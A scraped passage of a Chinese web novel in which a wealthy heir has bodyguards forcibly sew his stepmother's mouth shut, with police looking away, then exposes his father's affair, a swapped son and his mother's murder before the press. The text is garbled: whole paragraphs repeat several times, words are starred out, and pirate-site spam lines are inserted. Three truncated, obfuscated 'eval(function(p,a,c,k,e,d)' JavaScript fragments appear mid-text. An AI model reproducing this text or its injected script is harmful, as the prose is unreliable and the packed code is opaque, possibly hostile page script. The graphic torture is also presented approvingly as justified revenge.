他没有立刻转身,只是背影的线条骤然绷紧,透出一种令人窒息的寒意。 四周的空气仿佛瞬间凝固,连喧嚣的风声和远处的警笛都模糊褪去。 他轻嗤了一声,慢慢地……慢慢地转了过来。 阳光斜斜地打在他侧脸上,勾勒出凌厉的下颌线,而那双素来深沉锐利的眼眸,此刻却酝酿着一场无声的风暴。 他没有看苏月兰的脸,目光先是落在她那张不断开合,吐出最恶毒诅咒的嘴上。 接着,缓缓抬起,对上她因为疯狂而浑浊的双眼。 他嘴角,一点一点,咧开一个弧度。 那笑容没有半分温度,甚至没有怒意,只有一种令人毛骨悚然的平静。 像深不见底的寒潭表面,最后一丝涟漪也被冻结。 “哦?”他轻轻吐出一个字,声音低得几乎听不见,却让苏月兰的咒骂诡异地噎了一下。 陆京洲迈步,不疾不徐地走回她面前。 每一步,都像踩在人心跳的间隙上。 他微微倾身,近距离地打量着苏月兰那张因仇恨和恐惧而扭曲的脸,鲜血和污秽混在一起,狼狈不堪。 “你刚才说,”他的声音终于响起,平直、冰冷,没有任何起伏,“要把我的妻子和孩子,怎么样?” 苏月兰被他眼中那片毫无生机的冰冷慑住,本能地瑟缩了一下,但随即又被更强烈的恨意淹没,她啐出一口带血的唾沫,嘶声喊道,“怎么样?我要她们死!我要那个小**……” “嘘。”陆京洲伸出一根手指,竖在唇边,做了个噤声的手势。 他的动作甚至称得上优雅,却带着一股不容抗拒的、令人胆寒的压迫感。 “太吵了。”他直起身,仿佛只是评价天气般随意,目光扫过一旁垂手待命的特助和保镖。 “苏女士似乎不太明白,有些话,说出来,是要付出代价的。” 他的视线,最终落在一名身形精干,面无表情的保镖身上。 那保镖微微颔首,一言不发,转身走向路边一辆黑色的商务车,打开后备箱,取出一个不起眼的深色皮质工具包。 苏月兰瞪大了眼睛,看着那保镖走回来,在她面前单膝蹲下,打开工具包。 里面不是武器,而是—— 医用消毒棉、酒精、镊子,以及……一板未拆封的缝合针 ,和一轴坚韧的黑色手术线。 她的瞳孔骤然缩紧,难以置信地看向陆京洲,声音开始发颤,“你……你要干什么?陆京洲!你敢!这里是法治社会!警察还在……” “法治社会?”陆京洲打断她,嘴角那抹冰冷的弧度加深,“苏女士策划车祸**的时候,可没想起这四个字。你诅咒我妻女的时候,好像也忘了。” 他微微偏头,对那名拿着针线的保镖示意了一下,语气平淡得像在吩咐一件最平常不过的事,“把她嘴巴缝起来。让她记住,什么话能说,什么话,说了就得永远闭嘴。” “是,陆总。”保镖应声,动作没有丝毫迟疑。 另一名保镖立刻上前,一左一右死死按住疯狂挣扎的苏月兰,第三个人捏住了她的下颌,迫使她张开嘴。 消毒酒精刺鼻的气味弥漫开来。 苏月兰的尖叫声变成了含糊的、极度恐惧的呜咽,她疯狂摇头,眼珠几乎要从眼眶里瞪出来,泪水、血水和口水糊了满脸。 她看向旁边的警察,投去求救的目光。 陆京洲不想让人为难,安排他们去做其他的事情了。 律师出示了手机上的某些文件,警察看着,眉头紧锁,最终别开了脸,没有干预。 针尖在阳光下反射出一点冷光。 保镖戴着无菌手套,手法出奇地稳准,捏着穿好线的弯针,毫不犹豫地刺向苏月兰的嘴角。 “唔——!!!”剧痛和极致的恐惧让苏月兰爆发出非人的惨嚎,身体像濒死的鱼一样剧烈弹动,却被死死按住。 一针,穿过皮肉,拉紧。 黑色的线在她苍白的皮肤上格外刺眼。 陆京洲就站在一旁,静静地看着。他的脸上没有任何快意,也没有残忍的兴奋,只有一片深不见底的漠然。 仿佛眼前正在进行的,不是一场骇人的私刑,而只是一个必要的,清理噪音的程序。 第二针。 苏月兰的挣扎弱了下去,只剩下生理性的剧烈抽搐和喉咙里压抑又绝望的嗬嗬声。 她的眼神从疯狂变成哀求,最后只剩一片死灰。 保镖的动作很快,专业得近乎冷酷。 几下之后,苏月兰的嘴唇被粗糙地缝合在一起,只留下细微的缝隙,让她还能勉强呼吸,却再也发不出任何清晰的音节。 陆京洲这才缓缓踱步上前,蹲下身,与瘫软如泥,眼中只剩恐惧的苏月兰平视。 “现在安静了,多好。” 他轻轻说,声音低柔 ,却比之前的冰冷更让人心底发寒,“记住这种感觉,苏女士。这只是开始。你加诸在我家人身上的每一分恶念,我都会让你,百倍体会。” 这还只是她说自己妻子和孩子的,母亲的账还没有算,但绝对不会就这么完了。 他站起身,拍了拍西装上并不存在的灰尘,仿佛刚才只是拂去了一点碍眼的尘埃。 “带走。”他恢复了一贯的冷峻语气,对特助吩咐,“直接送去该去的地方。通知老宅那边,好戏,该开场了。” 保镖将瘫软的苏月兰拖起,塞进了另一辆车。 她的嘴巴被粗糙的黑线封住,只能发出微弱而痛苦的呜咽,曾经所有的嚣张和恶毒,都被缝进了那**的针脚里。 陆京洲最后看了一眼那辆扭曲的轿车残骸,眼神晦暗不明。 然后,他转身,走向自己的座驾,背影挺拔依旧,只是周身弥漫的气息,比隆冬的朔风更冷冽刺骨。 有些底线,一旦触碰,便要承受灭顶之灾。 而他的妻儿,就是他绝不退让的底线。苏月兰用最愚蠢的方式,验证了这一点。 黑色宾利车队碾过老宅门前的青石板路,车轮压过碎石的声响在静谧的巷弄里格外刺耳,惊飞了院角老槐树上的寒鸦。 陆京洲坐在主驾,指尖抵着膝头,骨节泛白,周身的冷意未曾半分消散。 连前排的特助都不敢轻易开口,只听见车载电话里传来媒体对接人的确认,“陆总,所有受邀媒体均已到齐,就在老宅外的庭院等候,设备都已架好。” “嗯。”陆京洲应了一声,声音淡得像结了冰的湖面,“让他们等着,好戏才刚开场。” 车队停稳,保镖率先下车拉开车门,寒风卷着碎雪扑来,却吹不散陆京洲身上的凛冽。 他抬步踏上老宅的石阶,黑色手工西装衬得他身形愈发挺拔,每一步落下,都像是踩在陆家众人的心尖上。 老宅的朱漆大门敞着,院里的灯笼被风吹得摇摇晃晃,映着门内一众面色惶惶的族人。 陆鹤嵩坐在正厅的黄花梨太师椅上,脸色铁青,手里的茶盏捏得咯咯作响。 而站在他身侧的还有几个素来与苏月兰沆瀣一气,靠着陆家荫蔽谋利的旁支长辈。 他们早听闻了外面的动静,也知道苏月兰策划车祸害陆京洲的事,更没想到陆京洲竟会直接把媒体请到家门口。 显然是要将陆家的家丑彻底摊开在阳光下,半点不留情面。 陆京洲的脚步跨进正厅,目光扫过众人,没 有半分温度,像是在看一群无关紧要的陌生人。 他没有向陆鹤嵩行礼,只是淡淡站定,背对着门口,将门外的寒风和媒体的镜头都挡在身后,却又让那若有似无的快门声,清晰地传进每个人的耳朵里。 “京洲!你放肆!”陆鹤嵩猛地拍案,茶盏重重磕在案几上,茶水溅出,“你知不知道你今天到底在做什么?把媒体请到陆家老宅,是要让整个江城看我们陆家的笑话吗?如果事情真的曝光,对陆家的影响有多大你知道吗?” 他做事儿从来不按常理出牌。 今天请这么多家媒体来,是想把他往死里整。 可是到现在他都不知道他到底要搞什么幺蛾子。 也不知道该怎么阻止他,完全就像热锅上的蚂蚁,慌的不行。 “笑话?”陆京洲轻笑一声,那笑声里没有半分暖意,反倒让厅内的温度又降了几分,他缓缓转过身,目光直刺陆鹤嵩。 “陆董事长觉得,是我把媒体请来让陆家成了笑话,还是苏月兰策划**我,让陆家成了江城的笑柄?是那些纵容苏月兰,为她撑腰,拿陆家的资源给苏家谋利,甚至帮她遮掩过往恶行的人,让陆家蒙羞?” 他的话像一把淬了冰的尖刀,直直扎进众人心里,“陆京洲!你别血口喷人!月兰她怎么可能做出这种事?定是你故意栽赃,她现在人呢?你把她怎么样了?” “栽赃?”陆京洲挑眉,抬了抬手,特助立刻上前,将一叠资料和一个平板递到他手中。 他接过平板,按下播放键,屏幕上立刻出现了苏月兰策划车祸的监控录像,是苏月兰疯了一样开车撞向他的画面。 有半分温度,像是在看一群无关紧要的陌生人。 他没有向陆鹤嵩行礼,只是淡淡站定,背对着门口,将门外的寒风和媒体的镜头都挡在身后,却又让那若有似无的快门声,清晰地传进每个人的耳朵里。 “京洲!你放肆!”陆鹤嵩猛地拍案,茶盏重重磕在案几上,茶水溅出,“你知不知道你今天到底在做什么?把媒体请到陆家老宅,是要让整个江城看我们陆家的笑话吗?如果事情真的曝光,对陆家的影响有多大你知道吗?” 他做事儿从来不按常理出牌。 今天请这么多家媒体来,是想把他往死里整。 可是到现在他都不知道他到底要搞什么幺蛾子。 也不知道该怎么阻止他,完全就像热锅上的蚂蚁,慌的不行。 “笑话?”陆京洲轻笑一声,那笑声里没有半分暖意,反倒让厅内的温度又降了几分,他缓缓转过身,目光直刺陆鹤嵩。 “陆董事长觉得,是我把媒体请来让陆家成了笑话,还是苏月兰策划**我,让陆家成了江城的笑柄?是那些纵容苏月兰,为她撑腰,拿陆家的资源给苏家谋利,甚至帮她遮掩过往恶行的人,让陆家蒙羞?” 他的话像一把淬了冰的尖刀,直直扎进众人心里,“陆京洲!你别血口喷人!月兰她怎么可能做出这种事?定是你故意栽赃,她现在人呢?你把她怎么样了?” “栽赃?”陆京洲挑眉,抬了抬手,特助立刻上前,将一叠资料和一个平板递到他手中。 他接过平板,按下播放键,屏幕上立刻出现了苏月兰策划车祸的监控录像,是苏月兰疯了一样开车撞向他的画面。 有半分温度,像是在看一群无关紧要的陌生人。 他没有向陆鹤嵩行礼,只是淡淡站定,背对着门口,将门外的寒风和媒体的镜头都挡在身后,却又让那若有似无的快门声,清晰地传进每个人的耳朵里。 “京洲!你放肆!”陆鹤嵩猛地拍案,茶盏重重磕在案几上,茶水溅出,“你知不知道你今天到底在做什么?把媒体请到陆家老宅,是要让整个江城看我们陆家的笑话吗?如果事情真的曝光,对陆家的影响有多大你知道吗?” 他做事儿从来不按常理出牌。 今天请这么多家媒体来,是想把他往死里整。 可是到现在他都不知道他到底要搞什么幺蛾子。 也不知道该怎么阻止他,完全就像热锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的话像一把淬了冰的尖刀,直直扎进众人心里,“陆京洲!你别血口喷人!月兰她怎么可能做出这种事?定是你故意栽赃,她现在人呢?你把她怎么样了?” “栽赃?”陆京洲挑眉,抬了抬手,特助立刻上前,将一叠资料和一个平板递到他手中。 他接过平板,按下播放键,屏幕上立刻出现了苏月兰策划车祸的监控录像,是苏月兰疯了一样开车撞向他的画面。 有半分温度,像是在看一群无关紧要的陌生人。 他没有向陆鹤嵩行礼,只是淡淡站定,背对着门口,将门外的寒风和媒体的镜头都挡在身后,却又让那若有似无的快门声,清晰地传进每个人的耳朵里。 “京洲!你放肆!”陆鹤嵩猛地拍案,茶盏重重磕在案几上,茶水溅出,“你知不知道你今天到底在做什么?把媒体请到陆家老宅,是要让整个江城看我们陆家的笑话吗?如果事情真的曝光,对陆家的影响有多大你知道吗?” 他做事儿从来不按常理出牌。 今天请这么多家媒体来,是想把他往死里整。 可是到现在他都不知道他到底要搞什么幺蛾子。 也不知道该怎么阻止他,完全就像热锅上的蚂蚁,慌的不行。 “笑话?”陆京洲轻笑一声,那笑声里没有半分暖意,反倒让厅内的温度又降了几分,他缓缓转过身,目光直刺陆鹤嵩。 “陆董事长觉得,是我把媒体请来让陆家成了笑话,还是苏月兰策划**我,让陆家成了江城的笑柄?是那些纵容苏月兰,为她撑腰,拿陆家的资源给苏家谋利,甚至帮她遮掩过往恶行的人,让陆家蒙羞?” 他的话像一把淬了冰的尖刀,直直扎进众人心里,“陆京洲!你别血口喷人!月兰她怎么可能做出这种事?定是你故意栽赃,她现在人呢?你把她怎么样了?” “栽赃?”陆京洲挑眉,抬了抬手,特助立刻上前,将一叠资料和一个平板递到他手中。 他接过平板,按下播放键,屏幕上立刻出现了苏月兰策划车祸的监控录像,是苏月兰疯了一样开车撞向他的画面。 有半分温度,像是在看一群无关紧要的陌生人。 他没有向陆鹤嵩行礼,只是淡淡站定,背对着门口,将门外的寒风和媒体的镜头都挡在身后,却又让那若有似无的快门声,清晰地传进每个人的耳朵里。 “京洲!你放肆!”陆鹤嵩猛地拍案,茶盏重重磕在案几上,茶水溅出,“你知不知道你今天到底在做什么?把媒体请到陆家老宅,是要让整个江城看我们陆家的笑话吗?如果事情真的曝光,对陆家的影响有多大你知道吗?” 他做事儿从来不按常理出牌。 今天请这么多家媒体来,是想把他往死里整。 可是到现在他都不知道他到底要搞什么幺蛾子。 也不知道该怎么阻止他,完全就像热锅上的蚂蚁,慌的不行。 “笑话?”陆京洲轻笑一声,那笑声里没有半分暖意,反倒让厅内的温度又降了几分,他缓缓转过身,目光直刺陆鹤嵩。 “陆董事长觉得,是我把媒体请来让陆家成了笑话,还是苏月兰策划**我,让陆家成了江城的笑柄?是那些纵容苏月兰,为她撑腰,拿陆家的资源给苏家谋利,甚至帮她遮掩过往恶行的人,让陆家蒙羞?” 他的话像一把淬了冰的尖刀,直直扎进众人心里,“陆京洲!你别血口喷人!月兰她怎么可能做出这种事?定是你故意栽赃,她现在人呢?你把她怎么样了?” “栽赃?”陆京洲挑眉,抬了抬手,特助立刻上前,将一叠资料和一个平板递到他手中。 他接过平板,按下播放键,屏幕上立刻出现了苏月兰策划车祸的监控录像,是苏月兰疯了一样开车撞向他的画面。 第256章 清算一切 平板的冷光在正厅昏沉的光影里炸开。 画面里苏月兰猛踩油门的狠戾模样清晰入目面包车如脱缰的野兽撞向陆京洲座驾的巨响。 透过外放的音浪砸在陆家众人耳膜上连廊外呼啸的寒风都似被这股戾气震得凝滞。 镜头里她发丝凌乱面目扭曲嘴里嘶吼的咒骂声即便隔着屏幕也满是淬毒的怨毒。 厅内瞬间响起一片倒抽冷气的声响几个旁支太太攥着帕子的手都在发抖。 陆京洲指尖抵在平板边缘骨节泛白抬眼扫向面色铁青的陆鹤嵩声音冷得像冰碴子。 “陆董事长 “这是合成的!是你用技术伪造的!”陆鹤嵩猛地拍案黄花梨太师椅的扶手被他抠出深深的指印茶水溅在案几上晕开一片狼狈的水渍。 “陆京洲你为了**竟不择手段到这种地步你对得起陆家列祖列宗吗?” “**?就陆家这点歪瓜裂枣我还看不上。”陆京洲轻笑那笑声里没有半分暖意反倒让厅内的温度骤降。 他缓步上前每一步都踩在青石板上发出沉闷的声响像敲在每个人的心尖。 “我母亲还躺在病床上奄奄一息的时候你就和她勾搭在一起你把我亲大哥送走换了个野种冒充陆家大少爷你纵容她挪用陆氏集团数十亿**填补苏家的窟窿……这一桩桩一件件我都要一一算清楚。” 他的话字字如刀直刺核心一旁的二爷爷陆鹤年忍不住开口声音带着颤意。 “京洲话可不能乱说月兰是你小姨也是你后妈鹤嵩怎么会和她有私情?沉奕那孩子从小在陆家长大怎么会是野种?” “你父亲娶她也是为了你和你大哥好娶另外的女人未必会像你小姨一样对你们好。” “小姨?后妈?”陆京洲挑眉目光扫过陆鹤嵩声音含着浓浓的恨意。 “就是因为她是我母亲的亲妹妹是我的亲小姨她做出这种背信弃义的事才更该死!就是因为她是陆家的后妈她才敢在陆家兴风作浪一手遮天!” 他抬手冲特助示意特助立刻将一叠照片甩在案几上老照片散落开来每一张都刺目至极。 有陆鹤嵩和苏月兰在私人别墅相拥的画面。 有两人深夜同乘一辆车驶入温泉酒店的背影。 还有 听说看这本书的人都是很幸运的,分享后你的运气会更棒 数年前在医院走廊,两人趁陆京洲母亲昏迷,当着她的面…… “这些,也是我伪造的?陆京洲弯腰,拿起一张两人相拥的照片,递到陆鹤嵩面前,指尖几乎要戳到他的脸上。 “陆董事长,你敢说,这张照片里的人,不是你和我的好小姨,好后妈苏月兰? 陆鹤嵩的脸白了又青,青了又黑,一把挥开陆京洲的手,嘶吼道,“是你找人偷拍的!是你断章取义!不过是普通的亲属相处,被你扭曲成这样,你安的什么心? “亲属相处?陆京洲笑了,笑得极尽嘲讽,“亲属相处会在酒店待上一整晚?亲属相处会在我母亲病重的时候,在她的病房外卿卿我我?陆鹤嵩,你当所有人都是瞎子吗? 他直起身,目光扫过厅内所有族人,声音陡然拔高,让廊外的媒体都能清晰听见。 “诸位长辈,诸位叔伯,你们真的以为,陆沉奕是我的亲大哥吗? 这话如惊雷炸响,厅内瞬间死寂,连呼吸声都清晰可闻。 陆鹤嵩的瞳孔骤然缩紧,眼神里闪过一丝慌乱,却依旧强装镇定。 “陆京洲,你别转移话题!沉奕就是我的亲生儿子,是陆家名正言顺的大少爷,你少在这里妖言惑众! “亲生儿子?我没说他不是。陆京洲从特助手中拿过一个密封的档案袋,拆开封口,抽出一份文件,举在手中。 文件封面上印着江城司法鉴定中心的烫金印章,鲜红夺目,“那这份东西,你又该怎么解释? 他将文件狠狠甩在陆鹤嵩面前,文件散开,亲子鉴定报告五个大字赫然入目,被鉴定人一栏写着陆沉奕、陆鹤嵩、苏月兰。 鉴定结果那一栏的字迹,像一把淬了毒的**,狠狠扎进陆家众人的眼睛。 “经DNA检测,陆沉奕与陆鹤嵩存在亲生父子关系,与苏月兰存在亲生母子关系,亲权概率达99.99%。 陆京洲这个人比他想象中的还要聪明千倍万倍。 “轰! 仿佛一道惊雷在正厅炸开,旁支的三奶奶当场惊呼出声,手里的佛珠散了一地,滚得满院都是。 陆鹤岗踉跄着后退一步,嘴唇哆嗦着,他没想到陆京洲已经尖到这个地步了,“不可能!这是假的!是你伪造的! 陆鹤嵩疯了一样抓起亲子鉴定报告,撕得粉碎,纸屑纷飞,像他此刻支离破碎的伪装。 “陆京洲,你为了扳倒我,连这种假报告都做得出来,你简直丧心病狂! 陆鹤嵩的嘴唇哆 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 嗦着,一遍一遍的重复,“陆沉奕是你亲大哥,同父同母的亲大哥!是你妈怀胎10月辛辛苦苦生下来的。 怀胎10月辛辛苦苦生下来的? 对啊! 他知道啊,可是他不爱她,就不会把这些事情放心上。 包括他大哥和他妈妈的死活! “伪造?陆京洲冷冷看着他,抬手冲保镖示意,两名保镖立刻抬着一个保险箱走进来,打开保险箱,里面放着数十份鉴定报告。 “这是京城三家最权威的司法鉴定中心的报告,结果一模一样,你要不要全部撕了?还是说,你想当着所有媒体的面,去司法鉴定中心重新做鉴定? 他的话像一盆冷水,浇灭了陆鹤嵩最后一丝挣扎的火苗。 瘫坐在太师椅上,浑身发抖,面如死灰,再也说不出一句反驳的话。 陆京洲缓步走到他面前,居高临下地看着他,眼神里没有半分怜悯,只有冰冷的恨意。 “陆鹤嵩,我母亲在世时,待你不薄,待苏月兰这个亲妹妹更是掏心掏肺,可你们呢? 你们在她病重的时候暗通款曲,生下了这个野种,为了掩人耳目,你们把我的亲大哥陆沉奕送走,送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“至于那些纵容他们、为他们撑腰、靠着他们谋利的人。”陆京洲的目光扫过苏明远和几位旁支长辈。 “我会一一清算,我司的法务部已经准备好所有证据,等待你们的,将是法律的制裁!” 说完,他冲门外的警察抬手,几名身着警服的警察立刻走进来,亮出**,走到陆鹤嵩面前。 “陆鹤嵩先生,你涉嫌故意**、挪用**等多项罪名,请跟我们走一趟接受调查。” 冰冷的**铐在陆鹤嵩的手腕上,他猛地挣扎起来,嘶吼道,“我是陆氏集团的董事长!你们不能抓我!陆京洲,我不会放过你的!” “你没有机会了。”陆京洲冷冷看着他,“从你害死我母亲,送走我大哥的那一刻起,你就注定了今天的下场。” “我不可能原谅你,有什么事情你留着到地底下跟我妈自己亲自解释吧。” 陆京洲的皮鞋踩在地板上,发出哒哒哒的声音,听着让人心惊胆战的,“也许,你就算下了地狱,也见不到我母亲……我不会让你有那个机会的。” 第257章 好人不长命,祸害遗千年 陆老太太赶到时,正厅已是一片狼藉。 她颤巍巍地拨开人群,第一眼看见的便是儿子陆鹤嵩被警察反剪双手,银亮的**在冷光下刺得她眼睛生疼。 “鹤嵩!你们这是做什么?!”陆老太太惊呼,拄着拐杖就要冲过去,却被保镖礼貌而坚决地拦住。 “连我这老太婆都要拦吗?” 客厅里已经完全乱成一锅粥了,陆老太太看到自己儿子被扣着**,这会已经连思考的能力都没有了,双手都在颤抖。 “有什么事情说清楚,要是他真的犯了什么事儿,我绝不包庇,绝不姑息!” 警察们看着陆老太太,并没有停下手里的动作。 陆老太太见他们没说话,目光落在厅中另一侧。 只见苏月兰瘫软在地上,平日精心保养的脸血色尽失。 更令人心惊的是她的嘴,上下唇被粗糙的黑线紧紧缝合在一起,线脚狰狞,凝固的暗红血渍糊满了下巴,喉咙里只能发出“呜呜”的闷响,眼神涣散,如同破败的玩偶。 老太太倒抽一口凉气,脚下踉跄,几乎站不稳。 最后,她的视线定格在台阶上那个挺拔冷峻的身影——她最疼爱的孙子陆京洲。 他站在那里,周身仿佛笼罩着一层冰寒的屏障,眼神里是她从未见过的疏离与恨意。 “京洲!这……这到底是怎么回事?!你快让他们放开你爸爸!还有苏月兰她……她的嘴怎么了?!” 老太太甩开搀扶的人,跌跌撞撞扑到陆京洲面前,枯瘦的手紧紧抓住他的手臂,指甲几乎要嵌进他的西装布料里,浑浊的眼睛里满是惊惶,不解和哀求。 陆京洲低头,看着奶奶苍老焦急的脸,眼中翻涌的恨意与冰冷稍稍凝滞,化为一种更深沉、更复杂的痛楚。 他轻轻握住老太太颤抖的手,将她扶到一旁尚完好的太师椅坐下,自己则半蹲在她面前,仰视着她。 他的声音很平静,平静得近乎残酷,一字一句,清晰地将那血淋淋的真相铺陈在老太太面前。 “奶奶,您先坐稳,听我说。” “您看到的,不是误会,也不是我在胡闹。警察带走他,是因为他涉嫌故意**,杀的是我的母亲,您的儿媳,苏月沁。” 老太太瞳孔骤缩,嘴唇哆嗦着:“杀……月沁?月沁不是病逝的么?医生都说……” “不是病逝。”陆京洲打断她,声音压抑着哽咽,“是**。是被您儿子,和我那位‘温婉贤淑’的好小姨、好后妈苏月兰,联手害死 的。他们在她的药里动手脚,在她最虚弱的时候,用枕头……捂**她,那天我躲在衣柜里,亲眼看见。” 这件事情他说过,可是没有人相信他。 老太太如遭雷击,浑身剧烈颤抖起来,摇着头,难以置信,“不可能,绝对不可能,你爸就算再怎么糊涂也不会丧心病狂到伤害你母亲,不可能……” 陆京洲听这老太太的话,眼眶瞬间就红了,刚才一个人站在这里的时候,他什么感觉都没有。 直到现在,奶奶说出这句话,他感到了前所未有的心酸,“奶奶,你知道当年为什么想跟他们同归于尽吗?我想给我妈报仇,但是……我没有能力全身而退,我也做不到将仇恨压在心底,只能同归于尽。” 陆京洲突然就笑了笑着笑着眼泪都笑出来了,“可惜……真是可惜了,好人不长命,祸害遗千年,一个都没死……一个都没死。” 陆老太太听得毛骨悚然,颤抖着想要说什么,声音却卡在喉咙里,一个字也说不出来。 陆京洲继续,语速平稳却字字千钧,“不止如此。您知道陆沉奕,我那位‘大哥’吗?他不是我母亲的儿子。” 这句话如同惊雷在老太太的脑中炸响。 震惊到了极致…… 甚至不敢相信自己耳朵听到的话。 耳朵嗡嗡的,脑子也嗡嗡的,眼前像是有很多密密麻麻的小虫子在爬,很花,很糊,什么都看不清,“阿洲,你……你知道你在说什么吗?” 陆京洲等今天已经等了10多年了,深吸了一口气,平复了一下心情,才继续开口。 “他是陆鹤嵩和苏月兰的私生子。我真正的亲大哥,早在三十多年前,就被他们偷偷送走,不知所踪,生死不明。而这个私生子,顶替了我大哥的身份,享受着陆家嫡长孙的一切。” “而我的母亲,什么都不知道,她是这段婚姻里唯一的受害者。” “而这一切都是陆鹤嵩和苏月兰做的好事。” “还有她!”他指向地上狼狈不堪的苏月兰,“今天,她更是在众目睽睽之下,开车想撞死我。刚才播放的视频,就是全的证据。” “至于她的嘴,”陆京洲的目光冷若冰霜地扫过苏月兰,“她满口谎言,挑拨离间,咒骂侮辱我的妻儿。我缝上,是让她暂时学会安静。比起她对我母亲做的,这太轻了。” 老太太听着,脸上的血色一点点褪尽,抓着陆京洲手臂的手无力地滑落。 她看看被警察押着、面如死灰的儿子,看看地上模样凄惨、眼神 怨毒的“儿媳”,再看看眼前这个仿佛一夜之间变得陌生又决绝的孙子。 那些她曾以为的家庭和睦、儿孙绕膝,那些她听着舒心的“温婉贤淑”“父子情深”,此刻全成了最讽刺的笑话,化作无数尖针,扎进她心里。 “怎么会……他们怎么会……”老太太喃喃自语,老泪纵横,“鹤嵩他……月兰她可是月沁的亲妹妹啊!你怎么能做出这么多混账事儿来?” 当年他要娶苏月兰,她一开始是反对的,但后来被他们说服了。 他说是为了两个孩子好,苏月兰是他们亲小姨,绝对不可能对他们怎么样。 会把他们当成亲生孩子来疼。 毕竟血缘关系就摆在那儿。 她也观察过一段时间,她对,两个孩子确实也没话说,再加上另取一个儿媳进来,有了后妈对两个孩子更不好。 还不如娶他们小姨,两边都青的情况下,想着两个孩子能过得好一些。 没成想完全就是引狼**。 她没有怀疑,还有另外一个原因。 陆沉奕对苏月兰的态度转变的很快,一开始确实因为母亲离世,接受不了。 可后来对她这个后妈言听计从,完全是母慈子孝的画面。 连她都觉得这个儿媳妇娶对了,没有怀疑。 甚至……连带着陆京洲对苏月兰态度不好,她都觉得是他太小了,不懂事儿。 后来闹矛盾也是一样的,她下意识的拿陆京洲和陆沉奕做比较。 陆老太太这会已经完全语无伦次了,“他们怎么能……京洲,我的孩子,你……你受了多少委屈啊……” 她伸手想去抚摸孙子的脸,手却抖得厉害。 陆京洲握住祖母的手,贴在自己冰凉的脸颊上,闭了闭眼,再睁开时,里面是磐石般的坚定。 “奶奶,委屈已经受了,公道必须讨回。今天这一切,只是开始。所有参与其中、助纣为虐的人,我一个都不会放过。陆家这潭脏水,必须彻底涤清。” 他站起身,对旁边的管家吩咐,“送老太太回房休息,请家庭医生过来照看。” 语气不容置疑。 老太太被搀扶起来,离开前,她最后回头看了一眼自己的儿子。 被搀扶的手臂微微一顿。 陆老太太没动,就这么静静的看着自己的儿子。 很久很久,最后还是挣脱了管家的搀扶,拄着拐杖,用尽全身力气,一步一步,走向被警察控制住的陆鹤嵩。 每一步都像踩 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 